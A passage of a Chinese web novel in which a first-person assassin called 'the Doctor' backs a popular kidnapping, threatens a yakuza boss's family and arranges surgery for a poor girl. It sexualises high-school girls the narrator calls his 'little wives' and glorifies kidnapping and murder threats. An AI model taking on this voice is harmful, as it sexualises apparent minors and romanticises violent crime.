“畜生!这是什么烟雾弹,他们是美国军队吗?怎么能有这么先进的设备?”小林廉良紧咬钢牙的道,他已经完全知道,歹徒们就躲在黑雾之中,并随着黑雾的移动而往外面跑去。

说是警备线有三百米,但实际上警方布防的地域只能控制一百米之内,超过一百米就只能用卫星监测仪监测,超过五百米,那里就全是密集的人群,根本没有疏散,只要歹徒混进了里面,犹如龙入大海一样的,再也找不到了。

“混账!我一定不会放过你们的!”小林廉良大声的吼叫声,传得很远很远……

第九章◆台面下的事

今天是五月二十九日,是注定被记载进日本史册的一天。下午在西新宿大友大厦发生的事件,事后被抢先一步涌入大厦的记者们证明,绑架者用一种银针,将大友正男等所有人麻醉倒下,除了一个手持手枪的疑似黑社会分子被打伤手掌外,绑架者并没有对任何人有过实质性的伤害。

大友正男社长在三个小时后醒来,他对媒体和警方关于绑架者的询问是闭口不答,但却再一次重申,自己会按照在全国人民面前所说的那样,向所有被恶意倒闭的会社社员们,在经济和精神上做出赔偿。

东京警视厅将这起案件定性为“恶性绑架”,但日本从来没有团结过的六大电视台、三大日报,这一次都在当晚自己的新闻特刊上,用文字和电视评论的方式,声援了这些不知名的绑架者。

“这是一次成功的正义伸张,绑架者提出的三个要求,乃是热爱和平、热爱日本的表现,代表着全日本人的心声,我们热爱这些具有恶作剧情怀的‘公理圣战团’成员们,他们才是日本精神的象征!”

“连大友正男先生都不承认是绑架,为什么警方还要对这些善良的‘公理圣战团’的勇士们,做出这般斩尽杀绝的姿态呢?难道是因为他们用行动嘲笑了警视厅乃至内阁的无能?”

“请内阁抓回辱我同胞的美军士兵!不要只会学狗一样的去舔美国人的屁股!”

“请皇太子殿下重视民间的唿声!请雅子妃殿下坚强一点!”

“……”

除了这些新闻工作者的支持外,东京警视厅、内阁门前,都挤来了请求撤出通缉令的请愿者。

皇宫门前的广场上,拿着标语对着里面大吼的人不在少数,其中女性的游行者居多,她们统一的喊:“雅子加油!雅子加油!”

而更多的人潮则涌向了冲绳岛的美军基地,起码好几万人的规模,吓得美军赶紧拉起了警戒线,自卫队长官部的电话几乎要被美国驻军海军司令给打爆了,却还是没有人接。

新宿区也十分的热闹,大友大厦的门前聚集了无数的人群,他们都在观看着今天下午“公理圣战团”留下的炸弹痕迹,对于许多身怀梦想的人来说,这么威胁逼迫奸商认错,吐出所有黑心的钱,“公理圣战团”的战士们已经可以和罗宾汉相提并论。

故而,大家都是怀着仰慕的心情而来,最后还因为人数众多,而有几百个警员来维持秩序。被认为是全日本最坚定的民族主义者,东京都知事石原慎太郎在接受采访时说:“这样的绑架的确是犯罪,但也情有可原,可以具体事情具体商榷,内阁用不着小题大做。”

晚上,在我的家里,少女们一边看着这些电视节目,一边看着买来的报纸,眉飞色舞之间,又非常的激动。小美人儿们刚开始只觉得好玩,但现在就连我都要夸奖她们一番。

无心插柳的三个谈判条件,恰好说出了全日本上上下下的心声,经过这次不成功的绑架行动,把他们平日里按捺下的情绪,一下子激发了出来,对大家来说,都是一次心灵压力的释放。

要不是我拦着她们,小老婆们早就和大家一样,加入了皇宫游行的队伍。幸好她们还记得,樱花学园有着周日晚上十点必须返回的严厉校规,否则今晚上凭着小美人儿们的激情澎湃,一场大战是在所难免,她们哪里还想回学校去?

八点三十分左右,小春她们都出去了,巨乳美少女还在我怀里缠绵了一会儿,大胆的她差点用一对巨大玉乳让我窒息,直到我都快要受不了了,绘里才在小春和千影的催促下,依依不舍的坐车回樱花学园。

“怎么样,怎么样?”坐上出租车的绘里,虽然还有浓浓的不舍,但另一股兴奋的神情也同时涌了上来。

她们三人都挤在出租车后座,坐在中间的小春,得意的拍着小胸部道:“放心啦……我亲自出马还有什么搞不定的吗?”

“快拿出来我看看嘛……”绘里有些急不可待的道。

千影见状一笑,从她身后拿出一个小包,从包里取出了一个银色的银筒,递给了绘里。

绘里先是小心的看了一眼前面的司机,确定她是自己三人一直雇用的中年阿姨,这才兴奋的把玩起来。不过仅仅是一分钟不到,绘里的脸色就变了,“这……这上面是什么啊?”

“怎么了?”小春不解的问道。

“这个银筒上面,好像刻着几行小字呢!”

“有吗?我看看……”小春拿了过来,用打火机照亮了银筒的侧面,一字一句的念道,“宝贝儿,不要顽皮了,这个东西不是给你们玩的。”

千影赶紧将银筒对准了旁边的玻璃,连续按了几下,却没有看到有任何东西射出,随即少女们又从包包里找出另外两筒,仍旧一样只有外表,内里根本没有装上麻醉针。

三个兴奋的小女贼,只觉自己的一腔热情仿佛被冰水一下子从头浇到脚,完全的给她们浇熄了。

“俊雄……你这个臭东西……我讨厌死你了啦……”

少女们气愤的怒骂声音,才刚刚从出租车上传出,却在下一秒,变成轰然而起的娇笑声,这一来一去截然相反的情绪改变,让出租车上的中年司机阿姨惊吓不已后,又会心的微微笑了起来:年轻可真是好啊!

送走了小美人儿们,我晚上的任务才刚刚开始。我从来都不会心存侥幸,也不会大意,更不会轻视每一个敌人过,今天那么几句威胁的话语,会让大友正男放弃报复的念头。

虽然住吉会再怎么强悍,也不敢把小春、绘里和千影怎么样,为了大友正男,他们还没有这个胆和三个超级大家族作对的决心!到时候要笑的就是山口组了。

但是为了避免大友正男狗急跳墙,雇用其他杀手对付我的小宝贝儿们,我觉得还是有走一趟的必要。

威廉的办事效率很快,仅仅是十分钟不到,一份数据就寄到了我的电子信箱。

基本数据:锅岛生运,男,五十六岁,东京都第二大黑道势力住吉会第三副会长。

性格爱好:奸诈狡猾,喜欢用残忍的计策对付敌人,非常的护短。

家庭情况:一个妻子,两个情妇,两个儿子,一个女儿。

活动范围:白天在住吉会总部处理公务,晚上活动范围港区赤板磨尾三叮目五十二号的房子、新宿区信浓町四谷八町目十九号住房之间。

将这些资料记在心中,我换上一套黑色的衣服,转身走出了屋子。

新宿区那边,现在因为很多人去大友大厦,肯定是拥挤不堪,我猜想锅岛生运这个五十多岁的中年人,不应该喜欢这么嘈杂的环境,所以率先来到了港区的赤板。

大友正男如今成了大人气公众人物,无时无刻不处在几十台摄影机的拍摄之中,在这种情况下,他今天是找不到机会来和锅岛生运哭诉,再怎么也会等几天风声平静了,才敢明目张胆的报复。

作为住吉会的第五号人物,锅岛生运的住处总是少不了贴身保镖。

当我走进这一片全是一屋一邸的宅院式建筑时,远远的望向五十二号,那里灯火不算通明,但仍旧可以看见,房子的四面八方一共站了十五个穿黑西装的汉子,监视着每一个方向。

一看有这么多保镖,立刻就知道锅岛生运今晚就在这里。

我身形一掠,化成了黑暗中的影子,如一阵风一般,瞬间到了锅岛生运的住宅前,脚步不断移动之间,转眼就将周围守护着的十五个人点住麻穴和哑穴,让他们定在那里,表面上丝毫看不出破绽。

作为一个习武十几年的高手,我仅仅凭着里面的唿吸声就可以知道,锅岛生运的家里只有五个人,一男四女。

淡淡一笑,我深吸一口气,身体腾空而起,飞上了二楼的窗户,正巧窗户打开了一点,我欺身一转一纵,已经进入了这个房间。

外面一个声音单薄的男人正在说着什么,回答他话的,是一个很是娇俏的女声,年龄不会超过十六岁,应该就是锅岛生运老来所生的女儿了,听说简直把她当成了心肝宝贝儿。

“快点回学校去吧,乖,不要再调皮了。”锅岛生运笑着道,“我叫他们送你过去,再不走就得迟到,小心老师惩罚你!”

“我才不怕呢,先吃完这个巧克力布丁再说。”少女娇声说道,“你快去忙你的吧,不用管我。”

“你啊……”锅岛生运的话语中充满了爱怜,却是没有再说什么,手一伸,打开了房门,少女下楼的轻快脚步声也随即响起。

锅岛生运脚步才迈进来一步,忽然间停住了,他看到一个穿着黑色风衣的男人,正低头翻阅着自己的一本书,神态悠闲得就像是在自己的家中一样。

这位住吉会的第五号大佬,下意识的就想转身逃出,但我的一句话,让他立刻打消了念头。

“如果你不想全家一起陪你上路的话,就坐下来谈谈。”

锅岛生运眼睛一转,终于放弃了逃走的想法,掩上了房门。

“坐。”我收起了书本,淡然的道,“福田先生的着作,我也拜读过,虽然针对会社经营有着独到之处,但是大局观有些受限,大岛增先生的《论平成年间金融发展的趋势》这本书不错,有机会你可以读读。”

面相清瘦,看起来只有五十来岁,还带着一副金丝眼镜,让锅岛生运看起来更像一个教授,而不是黑社会的超级大佬。

锅岛生运的一颗心,并没有因为我的温和态度而放松,反而是越加的往下坠,见多识广的他明白,越是这种看起来和蔼的人,动起手来就越是狠辣,也最是难缠。

“阁下不问主人,径自就进入我家,想来也不是为客之道吧?”锅岛生运坐在书桌前,手微微的颤抖,在右边抽屉第一格就有一把手枪,如果拿起来,马上就能控制住局面。

“我刚才在下面问过那十五个看门的,他们说,有我在,他们很放心,所以都放心的睡觉了。”我和声的说道,“锅岛先生,我现在还没有下定决心到底要不要杀了你,所以你最好不要有什么令我误会的举动……比如你的手,放在桌子上就好。”

锅岛生运的心,像是被摔碎了一样,脸色瞬间变得惨白,他只想到我是潜伏进来的,却根本没有料到,我居然将他的防御全部瓦解了。

“好吧,请问你是谁,为什么要杀我?”放弃了其他念头,锅岛生运的脑袋更清晰起来,“如果可以的话,我需要怎样才能保住自己的性命?”

“一个死去的敌人,比起活着的敌人,对我来说,要令人放心得多。”我微微一笑,“我给你一个机会,你猜出了我为什么而来,我就考虑不杀你。”

迟疑了片刻,锅岛生运试探着道:“你是山口组或者是稻川会的人?”他倒是聪明,一口气猜了两个对头的名字,大面积撒网。

我摇摇头,“不好意思,你猜错了。锅岛先生,你想要留下什么遗言吗?”

“不!”锅岛生运脸色一变,不顾一切的伸手到抽屉里,想要拿出手枪,却右边肩膀猛地一疼,手上顿时没有了知觉,更别说动弹了。

“可惜了,本来你可以选择体面的死去,但现在看来是不大可能了。”我冷冷的说着,正想起身,忽然间楼梯处一阵轻盈的脚步声响起,才几秒钟就扑到了房间门口,并一点规矩也不讲的冲了进来。

“爸爸……我明天想要……咦?你是谁?”冲进来的是一个明媚的绝色少女,话说出口,才发现房间里还有第三个人。

“美穗,快出去!出去!”锅岛生运猛地站了起来,失控的吼叫起来,“快出去!”

少女吓了一大跳,在她的记忆中,父亲从没对她说过重话,就更别说现在这副恐怖的模样了。委屈之下,明媚美少女眼圈顿时红了起来,却倔强的动也不动。

锅岛生运把这个女儿看得比自己生命还重,眼见她竟然闯进了这里,还看到了杀人魔王的样子,心中已经绝望得不能再绝望了:像是这么心狠手辣的人,怎么会留下目击证人?

见到我的眼睛上下打量着美少女,锅岛生运更是涌起一个恐怖的念头,他颤声的张开嘴巴,甚至准备要跪下来求我,饶过这个少女一命,但也就在这个时候,我忽然开口了:“小姑娘,你穿的是校服吗?真是漂亮啊!”

“哼!”少女总有些调皮和倔强的时候,她把刚才在父亲那里所受的委屈,发泄在了我的身上,翘着嘴看了我一眼,却没不开口。

“樱花学园的校服,果然最适合少女来穿啊。”我不以为件的笑了笑,“比起那些没有气质的学校来,小姑娘,你可是进入了一个好学校哦。”

“那是当然!”少女见我说到了她的学校,心中微微的一得意,对我也不是那么冷漠了,“我们学校是全日本最好的!”

“可是现在已经九点二十分了,你为什么还不回学校呢?不怕迟到后,被严厉的校规处罚,甚至开除?”

“我……我来找爸爸有事情说说,但是……但是他对美穗那么凶,哼!爸爸,我不要再理你了!”听我说起返校时间,少女脸上也闪过了一丝慌张,她本来就是换上校服要出发了,但临时想起一件事上来找锅岛生运。看了看腕上的手表,少女对着锅岛生运恶狠狠的吐了吐舌头,发出威胁之语后,头也不回的跑掉了,就像她来时一样。

望着她青春可爱的背影,我脸上的表情越加的缓和了,用手一挥,厚厚的大门无风自动,慢慢的关了起来。仅仅是这一手,就让锅岛生运赞叹着道:“好功夫!”

“这功夫是用来杀你的,你还会觉得它好?”

“无论怎么样,阁下放过了我的女儿,锅岛生运感激不尽。”

“难道我不会过后再去取她的性命?”

“不会。”锅岛生运这时坐了下来,恢复了往日在帮会之中的大将风度,“阁下这种人我很了解,坚毅而重守承诺,如果你当面没有杀掉美穗,那么事后你也不会去找她的麻烦。”

“我很喜欢像花朵一样美丽的少女,因为她们让我感受到青春的活力。”我微微一笑,“看在你女儿的面子上,我再给你一次机会,猜猜我是为何而来?”

“为了今天下午在大友商社发生的事情。”错过了一次机会,得到意外的机会后,锅岛生运绝对不会浪费,“看着电视里那幅震撼的场景,我其实一开始就该猜到的,你们有这个实力。”

“不错不错,总算是开窍了。”我站了起来,“他们都是我的朋友,我绝对不允许有任何针对他们的事情发生。你知道该怎么做了吧。”

“我去杀了那个混蛋。”锅岛生运下意识的道。在他心中,大友正男是个很好的钱袋子,但现在生命和金钱之间,谁也知道怎么取舍。

“用不着,叫他规矩一点就可以。除了不想朋友们受到骚扰外,我还不希望在外面听到有任何关于此次绑架案件的传言。如果他守不住嘴巴,那么你就可以行动了。”

“明白,他什么也不会说,就像在面对媒体时一样。”锅岛生运大松一口气,能保住这个有用的手下总是好的。

我将刚才拿起的书放回了书架,“下面的人一个小时后就会醒来,你还有什么疑问吗?”

“没有了。”锅岛生运连忙摇头,但等到我走到窗前,他还是忍不住的道,“先生,您……您是医生吗?”

“这个问题我拒绝回答。”我头也不回的道,“见过医生的人,几乎都会死亡。聪明一点的人总是很长寿的,锅岛先生,请不要让美穗小姐伤心啊!”

“是,我明白了──”锅岛生运又被一阵冷汗侵袭,赶紧低头道歉道,等到他再次擡起头来,刚才的男子已经消失了。直到这时,住吉会的大佬才长出一口气,重重的坐回到自己的椅子上。

这个神秘的粗犷大汉,虽然其貌不扬,但给他的压力却是无时无刻存在着,像是一块数千公斤的石头,重重的压在锅岛生运的身上,让他差点喘不过气来。如此的威压,就算是他面对自己的会长,或者是山口组组长、稻川会的会长时,也从来没有过。

其实,锅岛生运的心中早就有了答案:这么超级厉害的人物,除了那个传闻中的北美第一杀手──医生,又还有谁呢?从来没有失手过的医生,果然是名不虚传啊!

隐约之中,心机敏捷的住吉会第三副会长察觉到,这个可怕的医生之所以放过自己,绝对和他看到自己的女儿后有关。但从医生的表现来看,却根本不是那种色欲之徒,从他的眼中,自己也没有看到有一点的贪婪和占有欲望,这就更让人想不通了。

摇摇头,锅岛生运自我嘲笑一下,要是医生的心思自己都猜得到,那么他也就不是世界第一流的超级杀手王了。放下了猜测的想法,锅岛生运拿起桌上的电话,那边很快的就接通了,他沈声的道:“我是锅岛生运,找个可以不被偷听的地方说话。”

“是!”电话的那头,传来的是大友正男惊喜的声音。

大友正男正想待会向自己的靠山哭诉,却不想他自己就打了电话过来,这个一心想要报复的无良商人,却怎么也想不到,等待他的会是什么。

这个夜晚,无数的人没有入睡。

第十章◆突来的希望

锅岛生运想得不错,正是他的心肝宝贝儿救了他的性命。如果不是锅岛美穗忽然冲进来,如果不是我看见了她身上穿着的樱花学园的校服,锅岛生运逃不过这一劫。理由其实很简单,身为樱花学园的老师,再怎么也该给学园的学生一个面子吧。

况且锅岛生运也是东京第二大黑社会住吉会的核心头目,留下他,或许以后会有意想不到的用处。

至于说怕不怕他反咬一口?对不起,医生从来不怕任何的危险,要他冒着全家大小全部被我杀光的危险来杀我,恐怕也是不可能的──锅岛生运那么疼爱自己的女儿,自然舍不得她有什么意外。有了缺点的敌人,已经不足为惧。

大友正男的最大靠山都不支持他、反而勒令他不许和绑匪作对,那么今天我和三个小老婆的疯狂绑架活动,也就没有了后顾之忧。

反而透过小妮子们的敢想敢说,弄得日本国内无数的民众支持我们,并已经有人在电视上请求,干脆“公理圣战团”去一趟冲绳,将那些禽兽美国大兵们也绑架了来。

小美人儿们打电话说起此事时,简直是蠢蠢欲动,我连忙制止了她们的危险行为。绑架山姆大叔的现役士兵,可不是一件说着玩的事情,事件的性质立刻会被改变,又何必去多加掺合呢?

少女们也明白,如果她们真的这样做,美军说不定会立刻发飙,引起战争!也正因为有着同样的顾忌,日本的民众、警察、军队乃至黑社会,从来都没有去绑架过海军基地的美国士兵。

她们只不过是看到我神乎其神的手段,无比自豪之余,又有些自信心膨胀了,被我苦口婆心的教育一阵,少女们才悻悻的打消这个危险的念头。

不提这个令日本沸腾的夜晚,第二天清晨起来,打开电视一看,几个电视台仍旧在播放着冲绳美军海军基地的示威、皇宫面前的游行,以及大友大厦门口蜂拥挤来的人潮。

本来只是一晃而过,但我猛地在人潮之间,看见了一张熟悉的中年女人面孔,我不觉露出了笑容。

从家里走出去,到本叮的第三街,只用十几分钟的时间。此时我的面前有一栋旧房子,只有两层共八个小公寓,显得很是老旧,我径直走上了二楼三号公寓,按下了门铃。

这一次和之前十几次不同,仅仅是一分钟过后,屋子的门就打开了,玄关处站着一个淡雅秀丽的绝色少女,眼中有着闪烁不定的惊奇。

“我从电视上看到你妈妈的身影,所以知道你们回东京了。”站在门口,我微笑着道。

“听邻居的阿姨说,你找了我们很多次,有事吗?”馨子和声的问道,在她的身边,挤了一条棕黄色的松狮犬来。

“能进去说吗?”我的笑容很是和善,试图用此打消她的戒心。

馨子考虑了一下,最后娇躯一退,“请进来吧。”

第一次走进她们的屋子,发现里面虽然很小,仅仅不到六坪,卧室和客厅是在一起的,但布置得很温馨,到处的用料和设备也有些年头,不过总能在陈旧的基础上,看到一些新的花样,看来这也是少女和她母亲布置的。

“喝杯绿茶吧。”我坐在小矮桌前,少女捧过来一杯热气腾腾的茶,“这是我们从老家带过来的。”

我喝了一口,虽然不是什么名茶,但也清香扑鼻,“这些日子,你们回去老家了?”

“是的,婆婆生病了,东京的物价又那么贵,就正好回去,帮着打理一下地里的庄稼。”馨子说得很淡定,一点自卑的神情都没有。

人就是这样,很多事情别人并不感觉有什么不好,偏偏自卑又自怜,自己都看不起自己,又怎么求人家看得起你?

馨子的淡定自若,让我又对她多了一分欣赏,“好吧,我也不和你兜圈子了,免得你认为我对你有什么企图。”

我伸手递了一张名片给她,“明天下午的时候,你可以去这个地方,那里有一位非常出色的医生,他是我的好朋友,可以对你的腿有帮助。”

馨子接过名片一看,淡淡的笑了,“铃木私人诊所,是京香姐姐的诊所呢。您说的朋友,就是那个新来的神秘医生吧。”

“是的,你可以直接去找他,手术尽快安排下来好些。”

“谢谢先生你的好意了。”少女将名片放在桌子上,“但是我现在不能去。”

“为什么?你不相信他的医术?”

“不,我们本叮周围的人,有谁不知道这位先生医术简直是超一流的?”馨子微笑着,眼中的防备少了许多,“不过我们现在还没有足够的钱,等到妈妈将爸爸的补偿金拿到,凑起来也差不多了,那时我再去吧。”

少女的腿脚只是有些不方便,但并不是影响她身体的严重病症,所以对于这种病人,我让京香收取必要材料的费用,像是馨子这种程度的长短腿,就算免去了医疗费,但材料和所用的药品,也至少得五百万日圆左右。

五百万对于她们这个家庭来说,应该是笔不小的数字吧。

我点点头,“你的父亲,也是被大友正男恶意倒闭的会社之一的职员?”

“是啊,为那家会社做了十五年,最后却是什么都没有了,他每天只有借酒消愁,有一天出门在马路上遇到车祸……”少女的眼中,有着浓浓的眷恋和回想。

“那么这次你们可以得到十倍的补偿金了。”我估算了一下道。

“为什么是十倍?”

“因为丢掉工作而不幸身亡,这不是应该十倍吗?”我淡然的道,“只要你妈妈提出,大友正男绝对不敢反对的。”

“不用了,和其他人一样就好。”少女轻声笑道,“父亲的死和他无关,我们不能敲诈别人。”

从馨子家里走出来,阳光暖暖的照在身上,让我的心也是暖洋洋的。

这种可爱而纯洁的少女,真是值得别人去帮助啊!

五分钟后,大友大厦的顶楼办公室中,忽然发出一声尖叫,职员们赶紧跑出来一看,看见自己的老板已经冲到电梯旁,正满头是汗的快速按着按钮,一副惶恐的样子。

“会长,你没事吧?”

“没事,没事,你们快点做好自己的事情,一定要将那些职员的赔偿金弄好,不要有一点的疏忽,知道吗?”大友正男头也不回的吩咐道。

“是,会长,我们会努力的!”众人答话之间,大友正男已经冲进了电梯。能坐到这一层的,都是大友正男的心腹手下,从昨天被人用麻醉针打昏后醒来,老板忽然叫他们开会,再到晚上九点半,被老板的追魂电话猛催,再次来到公司。他们能够感受得到,大友正男的态度一次比一次软化,甚至可以说是诚惶诚恐。

老板从贪婪的无良商人,到一个满身正气敢于认错的人,这样的变化太快太突然,让大家都有些不适应。

嘀咕了几句后,职员们还是回到办公室,开始了紧张而又繁忙的统计和测算,赔付一万八千多人的退职金,是件无比繁重的工作,看来这个月又得疯狂加班了。

出了电梯后的大友正男,一路狂奔,直到了二楼的宽敞大厅里才气喘唿唿的停了下来。

这里已经被临时改造成登记大厅,三十个大友商社职员坐在桌子后,凡是来索赔的会社职员,全在这里填表,等到双方确认金额后,最迟三天之内就会得到丰厚的退职金。看到大友正男跑进来,数千个人都对他投以复杂的眼光,不过其中最多的是鄙视和痛恨,只有少数的感激在其中。他们都知道是怎么一回事,这个曾经的老板之所以同意高额赔偿,不是因为他心好,而是昨天“公理圣战团”的功劳,要感激也不会去感激他。

即使是现在,大友正男也不会重视他们的眼光,在他心目中,实际上这些人仍旧和蝼蚁一样,他怕的可不是他们。

夺过了一支麦克风,大友正男跳到了一张桌子上,大声的吼道,“哪位是米原津子女士?米原津子女士,请到这边来!”

本来喇叭的声音就很大,再经过他扯着嗓子一通大吼,本来已经静下来的二楼大厅的人们,更是听得清清楚楚。

大友正男见还没有动静,只得苦着脸,再次吼道:“请米原津子女士过来,我有关于退职金的事情和你商量,绝对没有其他的意思,请千万不要误会啊!”如果有可能,大友正男都想叫“姑奶奶”了。

而就在他急促不安的时候,距离他面前五米处,一个贤淑的三十多岁女人走了过来,“大友社长,我就是米原津子。”

“啊,米原女士,你终于出来了,这边请!”大友正男赶紧跳了下来,鞠躬着将她迎进了旁边的一个小房间,房间周围都是玻璃,外面可以清楚的看见里面,所以米原津子的心也慢慢的定了下来。

大友正男让米原津子坐下,自己在旁边泡了一杯茶来,恭敬的双手奉上,这样的礼貌,让米原津子是一阵不解。

“大友社长,您这么做,是想要我放弃赔偿吗?”米原津子鼓起勇气道,“这是不可能的,我没有要求十倍的退职金,但是五倍的退职金我一定要的,这关系到我女儿的幸福!”

“五倍?”大友正男愣了愣。

“五倍是最低限度的啊,您不是说了一定会给的吗?况且我丈夫也是……”

大友正男连忙摇摇手,打断了米原津子的话,“五倍怎么够?至少该是五十倍啊!”

“五……五十倍?”米原津子以为自己听错了。

“哦,对不起,我说错了。”大友正男以为她不满意,吓得心都紧了,“是五百倍!五百倍!”说着,他拿出支票本,低头写了一阵,笑容满面的递给了米原津子。

“夫人,如果少了,我再加,你千万得满意啊!”他心中同时加了一句,你要不满意的话,我的小命可就完了啊!

看着支票上一连串的零,米原津子脑子一片空白……

第十一章◆冷漠的良医

五月三十日,下午的太阳照射在铃木私人诊所的二楼上,让哼着歌煮水准备泡茶的美丽女医生,心中更加的舒服。在房间的另一头,一个粗犷而冷漠的男人,正抱着一个可爱的小女孩,对面是一个缺了一条腿的男人,以及一个神态恬静的女人。

可爱的小女孩在我怀里撒娇道:“叔叔,你怎么一直没有来看佳子呢?我天天都等着你来陪我玩啊。”

我微笑着道:“叔叔错了,等下一次,我把你的京香姐姐叫上,我们一起出去玩,好不好?”

佳子高兴坏了,“嗾”的亲了我一口,“这可是你说的哦,不许赖账。”

面对小女孩伸出来的粉嫩指头,我只得和她拉钩做保证,“不赖账,赖账的是小狗!”

这时,京香已经将泡好的茶端了过来,我们每人一杯,佳子也乖巧的回到了她妈妈身边,让京香坐在我的身旁。

“关崎先生,您的腿,现在怎么样了?”京香和声的问道。

“已经完全没有问题了,真是多亏你和先生。”关崎丰国感激的道,“只有失去过才懂得珍惜,现在我已经完全不喝酒了。”

“不喝酒是好事情。”佳子一走开,我又恢复了淡淡的神情,“你的腿现在走动不便,但我知道现在奥地利有一种新型的义肢,可以达到正常人百分之六十的效果。”

“啊,这太好了!”关崎夫人捂着嘴巴道,正常人的百分之六十啊,比起现在来好多了。

“可是……我们没有钱。”关崎丰国有些愧疚的道,“先生、京香小姐,上次的手术费我们都还欠着……你们放心,我们一定会尽快还清的。”

京香黛眉轻蹙的道:“关崎先生您现在没有工作了吧?既然这样,您还是先顾着自己的家庭吧,我们这里不用还都行。”

关崎丰国脸色胀得通红,“这怎么行?看病治疗就一定得付钱,我以后一定会找到工作,来还给你们的!”

京香还想说什么,我拍了拍她的香肩,转而对关崎丰国道:“你说得不错,治疗费一定要给的,而且以后你要安装的义肢,也非常的昂贵,我们可以不收你的手术费,但按照规矩,材料费和药材费还是要给的。”

关崎丰国正色的道:“是。”

他身边的妻子是一脸的担忧,就他现在这个身体,连正常走路都困难,又哪里去找工作负担那么一大笔费用?

想是这样想,但关崎夫人也和他一样的想发,看病治疗后付钱天经地义,家里虽然穷,但不能忘恩负义的不还。

“现在铃木私人诊所,缺少一个看门护卫,也需要一个可以帮忙洗衣服、床单被套的护理人员。”我继续的道,“你们可以考虑一下,是不是来做这两个工作。”

“噢,愿意!愿意!”关崎夫妇欣喜若狂的答应着,“我们随时都可以来上班!”

京香指了指小女孩,“那佳子呢?”

“佳子已经是大人了,可以自己照顾自己的。”小丫头人小鬼大,抢在父母之前答复道。

我们都微微一笑之际,关崎夫人道:“她白天都在幼儿园里面,晚上我下班的时候可以去接她,耽搁不了的。京香小姐,请你一定要把这两个职务交给我们,我们会努力去做的!”

京香摇了摇手,“我不是不同意……嗯,其实先生的话,就相当于京香的话……你们哪天安排好了,就过来吧。”说到一半的时候,京香的娇靥通红,看了我一眼,我却是没有反应。

等到关崎夫妇带着佳子离开,送他们出去的京香回到我身边,我和声问道:“刚才我说要他们给钱,依照你以前的性格早就出声反对了,今天为什么不反对?”

京香“噗哧”一笑,有着动人的美丽,“先生,我又不是第一天认识你,你是那种人吗?你既然说了前面一句,肯定后面有帮他们解决的办法,这一点,京香深信不疑。”我微微一笑,随即将她的茶递过去,自己也喝起了手中的茶。

京香轻轻的抿了几口茶,“先生,今天我接到庆子的电话,他们已经到了南卡罗莱纳州,正准备浏览那边的风光呢。”

“你叫他们干脆就待在佛罗里达州好了。”我冷然的道,“大半个月的时间,就知道在美国西南部打转,这样的蜜月,有什么意思?”

“他们也是在省钱。”京香看着我道,“他们珍惜现在的生活,也就更没有理由去到处挥霍。”

我哑然失笑道:“也对,只要和自己心爱的人在一起,哪里都是快乐的……我不是他们,又岂知他们的快乐?”

京香点点头,“先生说话好有哲理,是在学校学的吗?”

“不要来打探我的事情。”我瞪了她一眼,“京香医生,你不是还要例行查房吗?还不快去?”

“哦……”美女医生俏皮的做了一个鬼脸,娇笑着走了出去。

三点钟左右,还是在京香的办公室,我终于见到了馨子和她的母亲。

“坐吧。”我拿着她们递过来的CT照片,上面可以清楚的看见馨子的双腿骨骼和结构。看了几分钟,我又让馨子将双腿搭在板凳上,捞起裤管,露出两条雪白匀称的大腿来。

慢慢的上下按了一阵,我示意检查结束,少女双腿放下后,和母亲一起望向了我。饶是她平时表现得淡定自若,现在的眼眸中,依旧出现了一丝期盼,连她都如此,就更不用说她的母亲了,简直差点将无比渴求心思写在了脑门上。

我心中一阵淡笑,馨子毕竟只是十七岁的孩子啊!要是正常上学的话,跟绘里她们差不多,都只是高中三年级的学生,正是天真好玩的时候,哪里会有这般的成熟。

“一般采用的手术,会是将右腿的骨头锯短三公分,这样最容易得到平衡。”我平和的道,“但是馨子小姐现在正是发育的时候,一旦这么做,她的身高和大腿的发育也就算是结束了,非常的不好。”

米原津子迫切的道:“是,其他的医生也这么说,但是如果不这样,岂不是要等很多年?”

“不用。”我摇头说道,“可以通过移植一块人造骨头,进入馨子小姐的左腿膝盖里面,同样可以让左右脚平衡。”

馨子柳眉一皱,“先生,可是我的右腿仍然会成长,明年岂不是又要两只腿不一样了?”

我冷声的回答说:“这块人造骨头有着五匣米的伸展弹性,可以保证在右腿生长的同时,它也能慢慢的伸长。在此之间,两腿的差别将是非常细微,不影响正常行走。然后等到你的发育完成之后,我会把这块人造骨头给取出来,重新给你换上另一块来彻底的定型。这样别说是走路,就是你跑跑跳跳,也是没有任何的问题。”

馨子和米原津子一听之下,相视而笑,困扰她们多年的难题,如今有了最好的解决方法,她们怎么会不高兴?

“那么先生,我什么时候可以做手术?”馨子柔声问道。这一次,我又看到了她明媚如阳光般的娇靥。

“需要在德国法兰克福医学院预定制作,这样有着最好的合契度,才能保证适合你的骨骼发展。”我估算了一下,“大约需要二十天的准备时间吧。”

“啊,要那么长的时间啊?”米原津子下意识的道。

“妈妈,要做得精细,自然需要一点时间。”馨子笑着对她道,因为问题即将解决,少女很是开心,语气也轻松了许多。

我在一旁听得直是摇头,二十天你都嫌慢?平常这么一个人造骨头的制作,从订单到发出CT照片,再到选料、修改,直到定型,一般都是三个月的时间,我能保证二十天,都是靠纳克医生在法兰克福医学院的朋友帮忙,才能达到的呐。

欢喜之中,米原津子想起了什么,不好意思的道:“先生,请问我们应该预付多少钱?我这就给您取来。”

“你们现在有钱了吗?”我望向了她,“我朋友昨天打电话时,还叫我给你们尽量减少费用。”

“哦,那位先生也是好人,我们之前有些误会他了。”米原津子羞涩的笑道,“不过现在我们得到了馨子父亲的退职金,钱是足够了。”

“退职金能有多少?”

“很多很多,大友正男先生不知道怎么了,居然给了我五千万日圆,吓得我都不敢收了。”米原津子回忆道,“结果我一说不要,他就吓得给我跪下了,说拜托我一定要收下这笔钱,否则他的性命就不保了。最后我回来和馨子一说,她就断定,这事肯定和‘公理圣战团’有关,说不定是他们要求大友正男先生一定要补偿我们的。”

我点了点头,五千万,还算大友正男懂事。

馨子在一旁忽然插嘴道:“先生,你说‘公理圣战团’勇士们的严令,是只针对我妈妈一个人,还是针对所有人?”

我微微一愣,“应该是所有人吧?”

少女说话之时,就一直在盯着我看,让我心中隐约觉得有什么地方不对劲。

不过等到我回答完后,馨子的目光又移到了一边,笑着说:“我觉得也是,他们和我们非亲非故,不会对我们这么好。”

“预付款的事情,你们和京香商量就可以,我这里准备好了就通知你们。”我只得冷起一张脸,“你们现在可以走了。”

“谢谢先生!”两母女目的已经达到,站起来鞠躬一下,走了出去。

“馨子,这个先生人很不错啊,难怪附近那么多人夸赞他。”

“妈妈,你不觉得他冷漠了一些吗?”

